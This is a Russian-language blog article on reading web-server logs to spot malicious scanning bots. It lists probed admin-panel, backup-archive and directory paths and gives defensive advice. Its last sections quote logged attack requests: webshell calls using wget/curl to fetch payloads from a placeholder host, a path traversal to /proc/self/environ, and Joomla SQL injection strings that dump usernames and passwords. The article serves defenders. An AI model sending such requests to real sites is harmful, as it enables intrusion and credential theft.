Что такое — «боты тёмной стороны силы»? Обозначим так сканирующие программы (поисковые роботы, пауки), которые используют злоумышленники. В отличие от роботов поисковых систем [1, 2], «боты тёмной стороны силы» (в дальнейшем для краткости — боты) заняты поиском уязвимостей, вредоносных программных закладок, конфиденциальной информации и т. д. Действия, аналогичные работе бота, может выполнять и человек, но использование бота, по понятным причинам, эффективнее и более распространено.
При подготовке материала использованы журналы (веб-серверов и систем управления контентом) нескольких сайтов. Выбраны наиболее типичные и наиболее наглядные примеры.
Что же и зачем ищут?
Административная панель
Административная панель, панель управления или «админка» — одна из самых распространенных целей. Задачи: определить используемую CMS, установить точный адрес скрипта панели для дальнейшего подбора пароля.
Примеры (для CMS WordPress [3]):
example.org/wp-login.php (проверка «в лоб»)
example.org/wp-admin/ (перебираются типовые каталоги)
example.org/dir/dir/wp-login.php (перебираются все доступные каталоги)
example.org/wp-admin/images/wordpress-logo.png (попытка маскировки сканирования, когда проверяется не сам скрипт, а характерное изображение или css файл)
Подобное сканирование ведется постоянно и не должно вас сильно тревожить, особенно если вы не используете CMS WordPress, как в приведенном примере. В качестве меры противодействия целесообразно ограничить доступ к каталогу со скриптами административной панели средствами веб-сервера (.htaccess и .htpasswd для Apache), не забывая про обязательную стойкость паролей в используемой CMS.
example.org/admin
example.org/bitrix/admin/
example.org/index.php/admin/
example.org/netcat/admin/
example.org/adminmysql/scripts/setup.php
example.org/apache-default/phpmyadmin/scripts/setup.php
example.org/cpadmin/scripts/setup.php
example.org/cpadmindb/scripts/setup.php
example.org/databaseadmin/scripts/setup.php
example.org/forum/phpmyadmin/scripts/setup.php
example.org/mydatadmin/scripts/setup.php
example.org/mysql-admin/scripts/setup.php
example.org/php-myadmin/scripts/setup.php
example.org/phpMyAdmin-2.11.1/scripts/setup.php
example.org/web/phpmyadmin/scripts/setup.php
Как видно из этих примеров, осуществляются попытки найти не только административные панели CMS, но и вспомогательных систем или приложений для администрирования. Перебираются различные варианты названий скриптов и каталогов, включая наиболее распространенные суффиксы версий. Некоторые администраторы считают, что изменив имя скрипта или каталога (сохранив при этом читаемость и понятность названия), они смогут перехитрить ботов и защитить систему. К сожалению, это далеко не так.
Архивы с характерными именами
Архивы с резервными копиями или установочными пакетами — ценная добыча для злоумышленников, т. к. в них могут содержаться пароли доступа к административной панели, файлы с настройками, параметры доступа к СУБД, полные копии баз данных и др.
Примеры:
example.org/example.org.tar.gz
example.org/backup.zip
example.org/example.org.zip
example.org/public_html.tar.gz
example.org/public_html.zip
example.org/www.zip
example.org/dir/dir.zip
Обратите внимание, что многие архиваторы, в т.ч. установленные на серверах хостинговых компаний, задают по-умолчанию имя файла-архива равным каталогу который архивируется или в котором расположены данные, предназначенные для архивирования. Эта особенность широко используется ботами, как видно из примеров выше.
Иногда можно встретить попытки подбора имен файлов-архивов от распространенных систем резервного копирования. При использовании типового алгоритма формирования имен файлов и дат выпуска обновлений количество комбинаций значительно сокращается. Несмотря на наличие у некоторых систем резервного копирования сайтов встроенных механизмов защиты (таких как .htaccess с «deny from all»), они могут оказаться не эффективны при изменении веб-сервера и по некоторым другим причинам.
Целесообразно оперативно удалять файлы с архивами, которые содержат важную или конфиденциальную информацию, т. к. они постоянно находятся в области интересов ботов.
Ловушки
При выявлении подозрительных обращений в процессе анализа журналов у администратора возникает желание глубже разобраться в ситуации. На это и ориентируются злоумышленники.
Из журналов, как правило, возможно восстановить значение поля HTTP referer. Данное поле клиент (бот) может устанавливать произвольно, поэтому администратор должен проявлять определенную осторожность при обращении с полученными данными. Возможные варианты: ссылка на фишинговый сайт или сайт с вредоносным ПО, рекламная ссылка, выполнение скрипта, сжатого системой сокращения ссылок.
Лучше не рассматривать значение поля HTTP referer как достоверную информацию и, если перейти по ссылке очень хочется, предварительно проверить ссылку на сайтах антивирусных компаний и VirusTotoal.
Все это должны знать и понимать, но напомним, что переходить по неизвестным ссылкам категорически запрещено, особенно когда вы работаете на сервере с привилегиями администратора.
Примеры ссылок, по понятным причинам, приводить не будем.
«Волшебные» каталоги
Какие каталоги (подразделы) используются ботами чаще всего? Приведем примеры без дополнительных комментариев, ориентируясь только на относительную частоту. Следует сразу оговориться, что выборка зависит от обследованных сайтов и включения (исключения) каталогов, используемых для поиска административных панелей.
example.org/apache-default/
example.org/backup/
example.org/cache/
example.org/home/
example.org/install/
example.org/ispmgr/
example.org/log/
example.org/map/
example.org/node/
example.org/old/
example.org/pages/
example.org/pgu/
example.org/save/
example.org/scripts/
example.org/tmp/
example.org/user/
example.org/users/
example.org/uslugi/
example.org/webmanage/
Вредоносные программные закладки
Вначале рассмотрим примеры:
example.org/explore.php
example.org/images/join.php
example.org/images/register.php
example.org/images/signup.php
example.org/images/stories/busuk.inc.php
example.org/images/webadmin.php
example.org/libraries/libraries.php
example.org/stories/food.php
example.org/tmp/petx.php
example.org/xmlrpc.php
Перечисленные выше файлы не должны присутствовать на [исследуемых] сайтах. Если у вас достаточно большая выборка с нескольких площадок, то можно выделить подобные целенаправленные попытки. Обратите внимание на дополнительные примеры, иллюстрирующие использование подобных скриптов злоумышленниками:
example.org/images/do.php?act=reg
example.org/images/stories/racrew.php?cmd=wget http://bad.site/img/icons/tempe.gif; mv tempe.gif menu.php
example.org/naskleng.php?cmd=wget http://bad.site/components/com_content/teli.tar.gz; curl -O http://bad.site/components/com_content/teli.tar.gz; lwp-download http://bad.site…
Откуда они берутся? Как правило, всё банально: варез или взлом (через устаревшие и не обновленные вовремя CMS или компоненты и др.).
Нестареющая классика — SQL injection и переходы по каталогам
Ограничимся примерами без подробных рассуждений что это и как должно работать, по замыслу авторов.
example.org/index.php?option=/../../../../../../../../../../proc/self/environ&sitemap=1
example.org/index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1,2,concat(1234,0x3B,4321),4,5,6,7,8,9,10--
example.org/index.php?option=com_kunena&func=userlist&search="%" and 1=2) union select 1, concat(username,0x3a,password,0x3a,usertype),concat(username,0x3a,password,0x3a,usertype),«Super Administrator»,«email»,…
example.org/index.php?option=com_linx&Itemid=101«and(select/**/1/**/from(select/**/count(*),concat((select/**/username/**/from/**/jos_users/**/where/**/usertype=0x73757065722061646d696e6973747261746f72…
example.org/index.php?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,234567--
example.org/index.php/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=-1+union+select+1,concat(0x7e,table_name,0x7e)+from+information_schema.tables+where+table_name=0x4348415241435445525f53455453--
Вместо заключения
Смотрите и анализируйте журналы эксплуатируемых систем (не только web). Это может пригодится в самый неподходящий момент.
Автор: nvv